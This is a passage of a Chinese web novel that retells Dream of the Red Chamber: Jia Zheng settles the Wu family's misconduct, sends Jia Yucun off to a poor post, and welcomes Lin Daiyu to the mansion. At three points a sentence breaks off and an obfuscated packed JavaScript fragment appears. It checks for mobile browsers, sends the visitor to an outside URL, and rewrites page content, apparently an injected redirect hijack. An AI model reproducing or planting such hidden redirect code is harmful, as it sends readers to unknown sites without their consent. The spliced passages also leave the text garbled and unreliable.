贾政要接着做木炭生意。往往勋贵人家都看不上商人,豪门望族的收入来源就是田租,他们是全国的大地主。但贾政却反其道而行,在旁人看来,就是自降身份。 贾政不想仍做传统的田地租赁,古往今来,多少次农民反抗,都是因为人地矛盾。没地可种,没有饭吃,自然要反。贾政要另辟蹊径。 停工半个多月的窑厂,也就继续开工了。 潘武听了贾政的吩咐,给炭厂出的炭改名为赤焰炭,为的是与官家的区分开。只是装炭的箩筐用红色颜料画上火焰的图案,很有辨识度,又稍稍模仿贡炭的样子。 又分了三个等级,上品卖给富商,中品卖给普通官员,下品卖给老百姓。贾政想慢慢把贾府的生意铺开,面向老百姓。因此炭厂主做中下品的生意,即使是下品木炭,也都要比市面上的品质好而价格略低。产出的上等炭,大部分留给贾府使用。 今年的冬天比往年来得更早,京城开始大规模用起了炭,炭厂生意越来越红火。 乌修业判了刑那天,贾政才把田庄的事情一五一十告诉了贾母。贾母听罢,心里有点不赞成贾政的做法。本来私下就可以解决的事,没有必要闹到官府。只是自己儿子已做了决定,贾母也就选择听从。 王熙凤故意捡了一些好事来说,想要调节气氛。 “老太太,你不知道啊!前些日子我派人去过了那个炭窑,说是产出的木炭一点烟味都没有,既耐烧,又暖和,足可和贡炭相比呢!”王熙凤见贾母脸色有所和缓,继续说道 “今年冬天来得早,京城每年冬天都足有四五个月,这么一看的话,咱们的窑厂光是一个冬天就不知道要有多少出息呢!” 贾母终于笑了“你这个凤丫头啊,一旦提到银钱,脑子里就没别的东西可想了!” 众人见贾母终于说笑了,很是松了一口气。 贾母屋里,重又欢声笑语。平儿从外进来,走到王熙凤身边说了句话。 王熙凤听罢,脸色沉了沉。 “老太太,金陵那边的管事来报账了,我先去看看。”王熙凤笑着对贾母说。 贾母看王熙凤的神情,就知道恐怕不是这么简单,就对王夫人说“你也同去”,又吩咐其他人都散了,她今日乏了。 若是金陵来人,定是乌家人来求情,不年不节的,报什么账? 她年纪也大了,不想看到这些事情,也管不过来,就让小辈的去处理吧。 贾母想到这里,叹了口气。 此时,在王夫人院子的主厅,乌家人已跪在了地上,颤声求着情。 王夫人见他们说来说去,全是看在往日的情分上,听着头疼心烦,就没说话。 “没有把你们全家都发落了,已经是主子们容情了,你们如今还跑过来求情吗?哪里来的胆子!”王熙凤拍了桌子,呵斥道。 “错已经犯了,只求太太奶奶们看在乌家几代人为府上办事的份上,绕了他一命吧。判了流刑,离死也不远了!求太太和二奶奶慈悲!”乌进忠不住地磕头求情。 他已有六十多岁,头发半白,此时声泪俱下,不停磕头,让旁人看了的确动容。 贾政刚进院子,就听到了哭声。他身后还跟着四个孩子,不想让孩子们看到这些,贾政就嘱咐奶娘丫鬟们带孩子们去园子里玩一玩。 王夫人早就看到贾政走到了门口,她轻轻推了推王熙凤,示意她贾政来了。 贾政进了屋,王熙凤本来想起身让座。贾政却径直坐到了炕桌前,示意王熙凤坐在原位。 贾政喝了口茶,问道“你早就知道乌修业犯了错?” 乌进忠犹豫了一下,点了头。 贾政本来还犹豫是否要把乌家连根拔起,此时知道了乌进忠知情不报,也就不再犹豫了。 “你一直说乌家世代为贾家办事,可是凡事总有个规矩,乌修业自己破了规矩,欺侮主子,你却容情不报。你有没有想过乌修业犯的错足以让你们乌家都丢了饭碗?”贾政神情严肃,不留情面。说罢,把手里的茶盏摔到了地上。 褐色的茶水溅湿了乌进忠的衣摆,他抖得更厉害了。 “凤丫头,一会儿去告诉你珍大哥,把乌家犯的事情详细说了。”贾政吩咐王熙凤。 “告诉他们,咱们要把金陵那边田庄上凡是乌家的人都换了,看他们东府要不要也这么做。” 王熙凤应下了。 “没有规矩,不成方圆,我们也只是按府上的规矩做事。想必,乌庄头之后不会心生怨恨吧?”贾政起身给自己重新倒了杯茶,开口说道。 乌进忠见贾政亲自出面,贾母也丝毫没有传话,知道这个事怕是没有回旋的余地了。 他狠狠心,咬了咬牙,大声说道“小人愿意代侄子受罚,请老爷把奴才流放了,让乌修业回金陵伺候母亲吧!算是成全他的孝心!” “说什么浑话,你一个做叔叔的,何苦为了侄子做到这个地步!”王熙凤也隐隐有些同情他,一把年纪了,何苦呢!于是忙阻止他继续说话。 乌进忠不理王熙凤的好意,他见贾政仍是神色坚定,也豁出去了,继续说道“小人六十的人了,膝下只有这么一个亲骨肉,还请老爷给我留一点血脉吧!”说罢,又是哭又是磕头,额头一片刺目的血,在他脸上缓缓流下。 “小人三十多岁才有了他,虽然一直养在兄长家,但从小也是宠溺着长大的。小人知道他欺瞒主子时,就劝过他,可孩子大了,根本不听。小人也狠不下心真的去揭穿了他。谁承想,落到今天这个结果···”乌进忠声音已经哑了,血也流了满脸,仍是断断续续说着。 听到这里,众人也就明白了为何今日来的是乌进忠而非乌修业的父亲乌进孝。 王夫人最先动容,她无暇去想乌进忠违背伦理的事情,乌进忠的爱子之心触动了她,引得她眼眶湿润,几欲落泪。只是不好出言劝说贾政。 王熙凤也软了心肠,只是她此时作为管家太太,不可因为心软容情,让其他下人们听了去,以后更不好管理。 贾政自然看到了王夫人与王熙凤的神态。他无奈地摇摇头,吩咐了管家周瑞。让把人先带下去。 乌进忠已经哭晕过去,被带走了。王熙凤吩咐丫鬟打扫屋子,他们几个换到了另一间屋子说话。 “周瑞,三日后,你与潘武一起去趟衙门。让他们把乌修业流放的地方放在距金陵近一点的。”贾政见周瑞回来了,就吩咐他。 周瑞恭敬应下了。 “今天的事对外不要传扬”贾政又说,周瑞点点头,告退了。 “这样处置夫人可还满意?”贾政走到王夫人身边,柔声问道,还捧了一杯茶,要递给王夫人。 一句话把王夫人听得神色尴尬,那盏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947714|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶接也不是,不接也不是,眼神飘忽落在了身旁的王熙凤上。 王熙凤嘻嘻笑着起身,说道“我下次去庙里时,要告诉佛祖,老爷今日做的善事,全部记到太太名下。”说罢摇着团扇,半遮了笑脸,与平儿走了。 田庄的事终于有了了结,贾政来到这个世界也算是很有收获。 转眼间,京城下了入冬后的第一场雪。一早起来,雪厚厚铺满了庭院,房檐,宝玉兴奋地饭也不想去吃。 贾母怕他受凉,命鸳鸯取了一件很是珍贵的北海金鸟锦袍,让宝玉穿上。 另又赏了迎春探春惜春姐妹每人一件织金翠毛裘。 贾政从衙门回来,看到的就是四个穿着华丽毛裘的孩子,蹲在地上团雪球。 探春看到贾政来了,老远就跑过去。 贾政忙蹲下来,半抱住探春扶稳了她。双手又握住探春的手,柔声说道“两手冰凉,冻得鼻子都红了。” “老爷快过来看!”穿的跟个散财童子的宝玉也跑了过来,就要拉着贾政去看他们堆的雪人。 再是富贵人家,小孩子能玩的东西也有限。昨日一场大雪,今日孩子们玩玩闹闹也没什么。 贾政好脾气地随着宝玉去看他们堆好的雪人。 “老爷看雪人像谁?”探春笑着问。迎春在一旁也满脸期待地看向贾政,她脸蛋红红,难得淘气。惜春控制不住脸上的笑意,被宝玉捂着嘴巴,怕她说出来。 那雪人最突出的就是两条倒竖的眉毛与满头金银首饰,一手叉腰,一手向前指着。 贾政一看就猜到了,他故意说“是鸳鸯?”宝玉笑着摇头。 “不是鸳鸯姐姐,老爷再猜!”探春笑着说。 “那么是平儿?” 孩子们仍是笑着摇头,宝玉有些着急,想立刻骄傲公布答案,被探春拉了一把。 “那么我猜是···”贾政话还没说完,就听到后面传来了王熙凤的声音。 “你们几个毛孩子,我平日里算白疼你们了!现在拿我取乐!” 说话间,王熙凤已到了跟前,把还没来得及跑远的迎春拉到了怀里。佯装生气地朝迎春手上打了两下,怒道“他们几个跑得快,就抓住你个当姐姐的代替弟弟妹妹受罚了。” 迎春也配合叫道“凤姐姐不要打了!再打就留了疤了!” 王熙凤没忍住笑,哪有那么夸张,迎春说谎骗人也不擅长。 宝玉和探春听到却有些慌,他们自然相信迎春不会撒谎。忙跑到王熙凤跟前,喊着“凤姐姐别打二姐姐,是我们两个调皮!” 惜春已跑到了房檐下,尚不明白这里发生了什么,远远看着。 待他们跑过来,看到迎春对他们狡黠一笑时,才知道上了当,但已经被王熙凤与平儿一人一个抱了满怀。 “小心着点,别把雪灌到衣领里面。”王夫人笑着说。 那会儿王夫人与王熙凤一起盘账,结束之后就一起来这边看看孩子们。 “太太要为我做主啊!”王熙凤装着柔弱,却把宝玉揽到怀里,专挑宝玉的痒痒肉挠。 那边平儿抱着探春与迎春,笑着看王熙凤与宝玉。 “好姐姐,我不敢了!”宝玉咯咯笑着,实在受不住了,王熙凤才放开了他。 王夫人先把捧着的手炉塞到了贾政怀里,这才抱过宝玉,替他整理了头发与衣衫。 “以后还敢胡闹吗?”王夫人抚平宝玉穿了一天就皱巴巴的锦袍,笑着问,“不怕老太太看到了回去打你手心?” 宝玉听了,先是起身走到三步开外。 才笑着说“下次还敢!”说罢马上跑回屋子。 刚到门口,就撞到了正为贾母掀帘子的鸳鸯身上。 “鸳鸯姐姐,我错了!”宝玉见鸳鸯弯了腰,以为自己撞疼她了,赶忙道歉。 谁知鸳鸯也是装的,她把宝玉抱到怀里,笑着说“我把宝玉制住了,谁要来报仇,快点来!” “你们女儿家都会骗人!”宝玉哼了一声。 “谁能想到你轻易就被骗了?”迎春笑着说。 贾母笑说“好了,再开玩笑,宝玉要生气了。他生气了可不好哄!” 鸳鸯松开了宝玉。 贾政走到贾母身侧,扶着贾母又进了屋。 刚才在外面玩闹了一会儿,此时坐在屋里,炭火烧得暖烘烘的,众人都觉得脸上手上,暖暖地发痒。 贾政走到宝玉跟前,摸摸他头,笑着说“能治你的人要来了。” 16. 林黛玉别父进京都 其他人都没有听懂贾政的言外之意。 贾政也没解释,他拿出一封信,递给了王熙凤,又笑着说“琏儿接了外甥女,一个多月前就从扬州出发了。” 王熙凤接过信,细细看了,又说给众人听。 “这封信是五天前二爷在驿站寄的,那时已到了山东。算算日子,就这几天到京城。他说本来可以早些回来的,只是林姑父舍不得女儿,打点行李就废了好多时间。”王熙凤边走边说。 话说完,王熙凤走到了贾母身前。 “只是,有一件事让我很担心。”王熙凤故做愁容,还拿了手帕轻轻擦了眼角。 “你这凤丫头,有什么可担心的。”贾母将王熙凤揽到怀里,安抚道“琏儿也才走了三个月,要是回来染上了什么毛病要欺负你,有我为你做主呢!” 王熙凤仍语带哽咽,说道“我不是担心那个,我是担心老太太。” “瞎说什么,我怎么你了?”贾母也察觉出不对劲来,笑着说。 “家里已经有一个玉儿,小仙童似的,又来一个玉儿,仙女一样的品貌,老太太眼里更没有我了!”王熙凤说到这里,实在忍不住笑,离了贾母的怀抱,大笑了起来。 “你这个凤丫头,真真是一张利嘴!叫你是凤辣子,可一点也不冤枉你!”贾母手指着王熙凤,笑道。 贾琏从京城出发,一路很是悠闲,简直如同皇帝下江南一般。 再没有人管他,时间也充裕,他完全放松了自己,纵情声色。一路上经过各大市镇,他都要停了船,凡是有名的酒楼花楼,他都要去。从京城至扬州,他彻底领略了什么叫富贵地,温柔乡。 慢慢悠悠,到了扬州竟然就花去了两个月。惹得林如海好生奇怪,怎么贾府两个月前就来了信说已经启程来接人,却现在才到。 林如海第一眼见了贾琏,并不喜欢,直觉就能看出这是个膏粱纨绔。只是见他说话行事还算妥帖,也就暂时放了心让黛玉随他回京。 除了黛玉,还有她的老师贾雨村也想进京谋一份差事。林如海为报恩,应了贾雨村,并修书一封给贾政,让内兄帮忙打点。 后日就是约定好启程进京的日子,林如海看着昏黄灯光下女儿乖巧可爱的面庞,不禁老泪纵横。却害怕被黛玉看到了,自己转身悄悄擦了。 人老多情,他以前也不常作如此姿态,只是与独女分别在即,自己身体也不好,只怕一别之后,再无相见之日。 “玉儿,过来,父亲再交待你一些事情。”林如海对黛玉柔声说道。 黛玉年岁只比探春略大,只是因为自娘胎出来就体弱,常吃着药,看起来身量要小一些。 黛玉肖母,虽还是孩童面庞,但已经渐渐显现出了那种文雅与纤柔齐备的气质。眉蹙春山,眼若秋水,她是江南烟雨滋养出来的所有灵秀气的集合。 林如海将黛玉抱到怀里,看着她的脸庞,又想起早逝的妻子,心中更痛。 “父亲不要难过,玉儿也不想去外祖母家,只想陪在父亲身边。”黛玉伸了手,想要为父亲抚平紧蹙的眉。 “玉儿,还记得父亲之前怎么说的吗?”林如海按下愁情,笑着问。 “玉儿记得,父亲说玉儿从小没有母亲教养,现在去了京城,养在外祖母身边,才能学到大家闺秀的做派,以后也是依傍。”黛玉细声说道。 “只是玉儿舍不得父亲,父亲身体不好,玉儿怕···”黛玉说到这里,眼中水波盈盈,就要落泪。 “玉儿别哭。”林如海为女儿拭去眼泪,“你先去京城待一年,若是觉得无趣,或是想父亲了,父亲便派人接你回家,好不好?”林如海只能这样宽慰女儿。 黛玉不很相信,只是父亲答应过她的事从来没有反悔过,因此也就勉强自己不要再哭。 哄着黛玉睡了,林如海又亲自去检查一遍启程给女儿打点的东西。满满放了两间屋子,他细细查点,直至夜深。 回到自己屋子,林如海仍没有睡意。他从抽屉里拿出贾琏那日带来的,内兄贾政的书信。 又读了一遍。 他熟知贾赦与贾政的为人,贾赦是个荒唐的,林如海与他没什么交际。只有贾政与林如海相知相交,贾政虽然古板一些,但为人却端方正直,是贾家为数不多的正人君子。这也是林如海愿意让女儿去京城久住的原因之一。 只是多年不见,贾政竟然能看得这么通透,思考得这么长远,也让林如海很是吃惊。 贾政书信中言辞恳切,首先让林如海放宽心将玉儿送到京城,他与贾母都会善待玉儿。其次就是嘱咐林如海切切保养自己身体,放下忧虑,对世事看开些。 “你以为自己可以放心向贾家托孤,却不知道贾家如今也是内忧外患。你若走了,日后贾家又遭了难,外甥女可怎么办呢?”贾政在信中这样写,的确说进了林如海的心里。 贾家的富贵长久不了,林如海早就看了出来。只是他作为女婿,离得也远,说的话没人听。 信中贾政还详细分析了自己对于四大家族命运的看法,又简略提了几句皇帝的态度。 林如海科举出身,为官多年,仍是不改文人风骨。他生来就心思细腻,偏好自省,这一点也遗传到了林黛玉身上。圣上钦点他做巡盐御史时,林如海就猜到了圣上这是有意弱化四大家族在朝中的势力。 林如海作为贾家的姻亲,虽然看起来是升了官,只是官位高了,如履薄冰,前途更是艰险。且他没有后嗣,与林家族人来往也少,来往亲密的只有贾家。圣上这是把他与贾家划到了一起。 他细细摩挲着信,很高兴二内兄如今能如此清醒地思考家族命运。 眼睛看向快要燃尽的红烛,他又想到自身,忽然没有那么心存死志了。 黛玉启程那天,扬州下着雨。秋天的雨细细密密,下起来便不知什么时候结束。 林如海牵着黛玉,为二人打着伞。 渡口,一应行李,仆人早已上了船。贾琏见林如海只是牵着黛玉,迟迟不吩咐启程,有些不满与焦急。天气这样不好,又浪费时间,不知道能不能按时赶到驿站。 林如海蹲下身子,为黛玉紧了紧披风,摸摸她头,轻笑道“玉儿放心去吧,别担心父亲。” 黛玉哭着抱住父亲,眼泪再也止不住,不忍与父亲分离。 “父亲要常常寄信给我。”黛玉哽咽道。 林如海郑重点了头。 贾琏来时悠闲,返程时却紧张了起来。只因林黛玉的老师贾雨村求官心切,日日来贾琏的船舱,询问何时能到京城。 贾琏老是被他监督着,也没有办法去寻欢作乐,只好加快行程,凡不必停留的馆驿都没有停留。如此下来,二十天就到了京城。 贾府那边早几天前就派了管家仆人日日等着,以防他们早到了。 因为贾母特意吩咐过,王熙凤就派了管家周瑞夫妇亲来迎接。 下了船,林黛玉坐上轿子被周瑞夫妇与仆人们接走。贾琏带着贾雨村,两人骑了马,先走一步,去见贾政。 到了贾府,贾琏去了贾母那里回消息。 贾雨村在外书房等着贾政。这是平时贾政与清客相公们议事的地方,只是贾政后来遣散了清客相公们,办公也常在院子里的小书房,这里也就空置了。 贾雨村茶已喝了三杯,还不见贾政,心里焦灼,忍不住起身在屋里踱步。 “先生请坐”贾政匆匆进来,走到贾雨村跟前笑道“我来迟了。” 贾雨村行过礼,客套一番后,拿出了林如海写的表荐书信,递给了贾政。 贾政早就知道会有此事。他拿过书信,认真看过一遍,神色却有几分为难。 贾雨村瞬间心慌,感觉这一个月来的美梦算是白做了。 “先生莫急”贾政安抚道“我只是一时想不到哪里有空缺的要职,又怕职位太低,配不上先生的才华。” 贾雨村略略放了心,回道“学生不拘什么职位,都听大人的。”言语中很是恭敬。 “那么这几日先生在京城住下来,我替先生在吏部留了名帖,预备着复职侯缺。想我荣国府亲自去办,吏部若有了好差事,肯定第一个想到先生。”贾政缓缓说道,神色十分诚恳。 “那么就谢过大人了,事若办成,贾雨村来日必定结草衔环,回报大人知遇之恩。”贾雨村神色恭敬。 “只是近日府上有些不方便,本该留先生在府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947715|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下榻的,还请体谅。”贾政神色中几分赧然,似是对自己招待不周贾雨村,很不好意思。 “大人多虑了,我本来也想在京城四处走走看看,住在府上,进进出出,也多有不便。”贾雨村很是体恤贾政。 “那么先生便去休息吧,养精蓄锐,等着好消息。”贾政拍拍贾雨村肩膀,却没说让贾雨村去哪里休息,也不派人帮他寻找下榻之处。 贾雨村早就激动过头,真心信了贾政的话,哪里会因为这点小事惹贾政不快。 离开贾府,他先是去京城有名的花楼好好享受了几日。清醒过来后,才拿林如海给他的钱在京城租了一处小院子,安顿下来。 贾雨村纵情享受了一个月,还不见贾政的消息传来,有些心急了。再加上他这些日子以来夜夜笙歌,银钱也所剩无几。就选了一个日子,又去贾府拜访。 仍是熟悉的外书房,贾政接待了贾雨村。 “先生,好消息啊!我正要派人去找你呢!”贾政见了贾雨村,仍是笑着上前。 “有眉目了吗?”贾雨村声音激动,暗自庆幸今天来对了。 “凉州知府缺出,先生去了,就是父母官,掌管一方要事。”贾政捋捋胡须,说道。 凉州吗?贾雨村暗自思考,可不是个好地方,这与他的预期差远了。 贾政见贾雨村犹豫,继续说道“吏部那边职位很缺,皆因圣上隆恩,起复旧员。许多像先生一样经历的人都早早在吏部找了关系,谋了职位。这一个月来,为了先生的事。我是几经奔波,动用了无数关系才谋到的这份差事。” 贾政顿了顿,抿了一口茶,又说道“先生若是不满意也无妨,我在吏部那边继续观察着,若有了要职,仍旧第一时间留给先生。”语气很是诚恳。 贾雨村听罢,却不敢再犹豫了。谁知道再等下去又要多久呢?现在他已经囊中羞涩,再等下去,连房租也付不出来,难道还要像从前那样,摆摊卖字画为生吗? 凉州就凉州吧,虽是外官,但从四品也不低了。 贾雨村想到这里,马上换了神情,满是感激。他起身朝贾政作了揖“多谢大人提携”,又要说什么结草衔环无以为报的话,贾政实在不想听,扶住他双臂,打断了他接下来的话。 “先生无需如此,咱们同属一姓,理应互相帮扶。我相信日后先生飞黄腾达了,定不会忘记我的。” 贾雨村郑重点了头,又要许诺,贾政又打断他: “先生不要再耽搁,快拿上名帖,去吏部,领了文书,好上任去吧!” 贾雨村神情振奋,离开了贾府。 贾雨村一走,贾政也不再装了。吩咐小厮撤下了贾雨村用过的茶杯。 林如海没有认清贾雨村的为人,可贾政却知道的清清楚楚,这个贾雨村就是个忘恩负义的畜生。 这也是他此番故意戏耍贾雨村的原因。林如海有嘱托,贾政不好完全不管。也不想真的给他找个好差事养虎为患日后恶心自己。凉州知府?贾政轻声念到,等贾雨村雄心勃勃地去了就知道什么情况了。 黛玉初到贾府那日,贾政会罢贾雨村,就回了院子。见王夫人已经穿戴完毕,带着探春三姐妹,准备去贾母那边。 “你们母女先去,我若去了,老太太与外甥女也不方便细聊。”贾政说道“想必一会儿在那边见了后,老太太定要让你领了外甥女来见我。” 王夫人点头应了。 “探春想不想见林姐姐?”贾政又问探春。 “听说林姐姐模样好才情也好,我早就想见了,林姐姐来了,园子里又要热闹了!”探春期待地说。 迎春也微笑着,而惜春却已眯了双眼,很是可爱,贾政忍不住摸了摸惜春的小脑袋。 “老爷,你说外甥女来了,老太太肯定喜欢的不得了。但是宝玉那孩子又爱玩闹,两个孩子若是常常吵架,闹得不和怎么办?外甥女初来乍到,定会不自在了···”王夫人有些担忧。宝玉是老太太的掌上明珠,自小就爱玩闹,时而痴傻时而疯癫,怨不得王夫人担忧。 “放心吧,老太太在呢。”贾政安慰道,其实心里想的是,你儿子巴不得与林妹妹日日待到一处,这就叫一物降一物。 17. 相逢惊叹是前缘 且说黛玉弃舟登岸那日,坐着轿子进了荣国府。黛玉心细,一路上仔细看着行人商铺,很是见识了京城的繁华,风物也与扬州大不相同。 荣国府比林府大上许多,黛玉时刻紧绷着神情,担心出了错被人笑话。 贾母等人早就在正房里等着。 黛玉进了屋子,还来不及行礼,就被贾母搂进怀中,二人大哭起来。旁边坐着的刑夫人,王夫人李纨也都掩面涕泣。迎春探春惜春宝玉四个孩子站在贾母身旁,悄悄打量着黛玉。 黛玉拜见了贾母后,贾母又一一介绍了邢夫人王夫人与李纨让黛玉认识。黛玉都一一行了礼。 王夫人起身,笑着揽过黛玉,一只手牵着她,为她介绍了迎春姐妹三个。 “林姐姐,咱们姐妹三个年纪相仿,以后正好一起读书玩笑。”探春笑着对黛玉说。 黛玉含笑点了点头。 三姐妹又互相问了读过什么书平时喜欢玩些什么,很快就相熟了。 “宝玉去了哪里,方才不是还在这吗?”贾母满屋子看了一圈,却不见宝玉。 “二哥哥刚才还与我们站在一起,怎么不见了?”探春也奇怪。 正说话间,宝玉一个人从里间出来了。 他缓步走至黛玉跟前,神态专注,看起来痴痴的。 王夫人见他神情,怕他惊了黛玉,刚想出言询问,宝玉却开了口。 “这个妹妹我曾见过的···” “又胡说了,你哪里见过她?黛玉自小在扬州长大,你又在哪儿?”贾母笑道。 宝玉眼神逐渐清明,又说“好像是在梦中见过,也许是前世有缘也说不定呢?” “你惯会拿甜言蜜语哄骗别人。”王夫人见宝玉没说什么出格的话,就放了心,笑着在他额头上轻点了一下。 “妹妹芳名哪两个字?”宝玉刚才自己跑出去了,就没听到。 黛玉轻轻在宝玉手上写下自己的名字。 “我虽没有见过江南胜景,但今日见了妹妹,就觉得那些景物也不过尔尔。”宝玉又说。 王夫人见他又要犯痴,忙把宝玉拉到自己身前。 宝玉像是突然想起什么,从怀里掏出一串红玛瑙佛珠,拿给了黛玉。 看黛玉没有伸手要接,宝玉对黛玉解释道“这是今年秋天去无为寺游玩的时候,我在佛祖那里求来的。那里的和尚说每日戴着可以祛邪免灾,长寿多福。妹妹戴着,图个吉利,也是我的一番心意。” 黛玉道了谢,伸手接过去了。 “我方才见到妹妹,观她眉宇间愁容点点,身子看起来也不太康健,就想起了这串佛珠,才去拿了。”宝玉滚到了贾母怀里,又解释道。 “宝玉有心了。”贾母看到两个玉儿相处融洽,宝玉作为哥哥能想到照顾妹妹,很是高兴。 “偏偏二哥哥临时想起要送见面礼,我和二姐姐四妹妹都没有准备。这不是让我们三个不好做人嘛!”探春佯装生气,又对宝玉说道“我和二姐姐也有佛珠,只是现在却送不出去了。”说罢,还哼了一声。 这半年来,宝玉探春两个只要在一处,必要斗嘴,偏偏宝玉还总是说不过探春,众人早就见怪不怪了。 “你与二姐姐之后有了好东西再送给林妹妹,只要有心意,她又不会介意。”宝玉笑说。 “今日你既出了风头,一定要再卖力表现一番,一串佛珠哪能显示出宝二爷对林姐姐的重视呢?”探春仍不放过宝玉,笑着说。 “林姐姐”探春拉起黛玉的手,在她耳边说“二哥哥那里还有许多可爱的小玩意,咱们得了闲,去他屋子好好挑选一番,把他的宝贝通通带走!”探春故意要让众人都听见,因此声音并不很低。 “这个探丫头啊!”贾母指着探春,笑道。 众人都能看得出探春故意与宝玉玩闹,是为了让林黛玉放松心情,与众姐妹尽快融洽起来。因此心里也都暗暗赞叹探春心细,又关爱手足。 “我记得前些日子老太太还赏了宝玉一些珍惜字画,林妹妹若是看到了,想必也喜欢。”迎春也促狭地说。 宝玉一时间也是玩心大起,笑说“只要姐妹们高兴,凡我有的,都拿去给你们玩。大家高高兴兴的,还有什么宝贝比这个重要吗?” 黛玉自小身边也无兄弟姐妹,此时见外祖家的几个公子小姐都是好相处的,一时也露出了笑容,愁情也散了一些。 这边正玩笑着,王熙凤来了。人未到,笑声却早就传来了。众人见是她来,更笑得开怀。 王熙凤比往日打扮更为华丽,平儿扶着她,身后又跟了三四个丫鬟。 黛玉看着排场就知道王熙凤是个大人物,就先行礼了,被王熙凤双手扶起,牵了手又走到贾母那边。 王熙凤对黛玉自然又是一番夸奖,说得贾母心里不知有多么舒坦,笑个不停。 王夫人早就受了贾政提醒,今日见了面,对黛玉也很是喜爱,就嘱咐王熙凤为黛玉准备几匹上好的布料,裁剪冬衣。贾母也让鸳鸯为黛玉拿了件上乘的金线锦裘,吩咐一应排场都要与府上的小姐相同,这也是在众人面前表示她对黛玉的宠爱,防止那些丫鬟婆子们轻看黛玉。 众人笑闹罢,贾母就嘱咐刑王夫人带着黛玉去见两个舅舅。 邢夫人因要回家去,就亲自领着黛玉去见贾赦。 只是贾赦正有事忙,没有亲自来见,只让邢夫人代自己嘱咐了几句。 邢夫人要留黛玉吃饭,黛玉婉言谢绝了,说还要去看二舅舅。邢夫人也不强求,送她走了。 这边王夫人的院子里,贾政正在喝茶烤火,很是惬意。 王夫人与探春从贾母院中回来,说了一些方才发生的趣事。 贾政早就知道宝玉是要犯傻气的,没想到今日还算规矩,出乎意料。 只是这前缘往事,原来也是真的。这两个孩子的羁绊啊,真是天注定。贾政轻叹道。 “大太太先领着外甥女去见大老爷,应该一会儿就来咱们这边了。”王夫人坐在贾政对面,抿了一口茶。 贾政正给探春讲西游记的故事,有下人通报,林姑娘来了,在耳房那边。 王夫人便让人将黛玉引到这里。 黛玉一进屋子,就感到阵阵暖意,手脚俱是麻麻地痒着。 见贾政与王夫人坐在炕桌前饮茶,黛玉忙要向舅舅行礼,被探春拉了起来。 探春搂着黛玉,姐妹二人坐到了炕桌前,与王夫人一侧。 黛玉还在家时,林如海就叮嘱过她,若有什么事情,只管找外祖母与二舅舅二舅母,他们几个都会将她当亲生女儿一样疼爱。 此时她见贾政坐在对面,神情和煦,笑容亲切,正说着安慰她的话。王夫人将她半揽到怀里,细细嘱咐着府中的事情,让她不要害怕。 眼前贾政在黛玉眼中渐渐与林如海的面容重叠到了一起,而王夫人的叮嘱也像极了母亲还在时的声音,抱着她,柔柔说着琐事。 又好像是屋子里的热气熏了眼睛,黛玉再也忍不住,掩了面,低声哭了出来。 方才在外祖母那里,黛玉一直控制着自己,哪怕是哭泣,也不敢太放肆,只能点到为止。 此时在贾政与王夫人面前,她的哭,却有些发泄的意思。 贾政没有惊讶,只是示意王夫人继续搂着她。 王夫人就搂紧了黛玉,拍着她背,柔声说“哭吧,舅母知道你一路上心里难过。你不要憋在心里。方才在老太太那里,你知礼,也不敢大哭。只是日后再有什么不高兴的,只管告诉我与你舅舅,我们都当你和宝玉探春一样,是自家孩子。在我们面前,不拘那些礼节。” 就连探春也是握紧了黛玉的手,轻轻抚着她的肩膀,安慰她。 黛玉哭了一会儿,感觉终于将这些日子的苦楚都倾泻了出来,渐渐止了哭声。 王夫人就拿了手帕,为她擦去脸上的泪痕。 “多漂亮的孩子,哭起来都这么漂亮。”王夫人见黛玉神情和缓,就逗她。 “方才在舅舅舅母面前失礼了。”黛玉有些赧然。 黛玉说罢,起身整理了衣衫,双手递了一封信给贾政,又道“二舅舅,这是临行前父亲交给我,让我亲自转交给舅舅的。” 贾政笑着接过,随即就拆开看了。 信里仍是说黛玉自小体弱,心思又极细腻,劳烦贾政夫妻对黛玉多多关照。 除此之外,竟然还有几张大额银票。林如海信中说,虽然知道贾府一切东西都不缺,只是黛玉心思细,怕给府上添负担,需要什么也不好开口要。这个钱就备着随时给她买些小玩意,让她不要有太多负担。 真是父女情深啊,林如海考虑地也够仔细了。贾政很是理解林如海的苦心,只是哪怕林如海不特意说明,贾政也要为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贾政夫妇回到院子,探春姐妹几个也被奶娘带去睡了。 王夫人为贾政除去披风,二人又坐在炕桌前说了一会儿话。 屋里时刻备着红枣姜茶,预备着天冷,主子们从外面回来,时刻要喝,此时仍是滚的。 贾政为王夫人倒了杯茶,递给她,见她喝了一口,才坐下说了林如海信中夹带银票的事情。 王夫人听罢,笑说“姑爷也是外道,外甥女来咱们这里,还能亏待了吗?” 贾政摇摇头,轻笑着说“他不是外道,他是为外甥女操碎了心,担心外甥女心思细腻,需要什么不好总是开口要,就特意嘱咐咱们,让咱们替外甥女多想些。” 王夫人听到这里,也就知道贾政今晚说要些什么了。 